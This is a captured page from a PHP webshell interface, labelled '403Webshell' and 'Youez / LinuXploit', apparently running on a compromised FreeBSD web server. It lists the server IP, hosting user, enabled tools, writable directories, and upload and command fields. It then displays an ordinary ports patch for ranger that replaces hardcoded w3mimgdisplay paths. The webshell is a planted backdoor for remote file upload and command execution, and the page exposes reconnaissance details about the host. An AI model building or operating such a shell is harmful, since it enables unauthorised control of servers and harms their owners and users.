403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/py-ranger/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/py-ranger/files/patch-ranger_ext_img__display.py
Avoid hardcoded paths to w3mimgdisplay

--- ranger/ext/img_display.py.orig	2019-12-31 15:07:45 UTC
+++ ranger/ext/img_display.py
@@ -35,11 +35,7 @@ from ranger.core.shared import FileManagerAware
 W3MIMGDISPLAY_ENV = "W3MIMGDISPLAY_PATH"
 W3MIMGDISPLAY_OPTIONS = []
 W3MIMGDISPLAY_PATHS = [
-    '/usr/lib/w3m/w3mimgdisplay',
-    '/usr/libexec/w3m/w3mimgdisplay',
-    '/usr/lib64/w3m/w3mimgdisplay',
-    '/usr/libexec64/w3m/w3mimgdisplay',
-    '/usr/local/libexec/w3m/w3mimgdisplay',
+    '%%LOCALBASE%%/libexec/w3m/w3mimgdisplay',
 ]
 
 # Helper functions shared between the previewers (make them static methods of the base class?)

Youez - 2016 - github.com/yon3zu
LinuXploit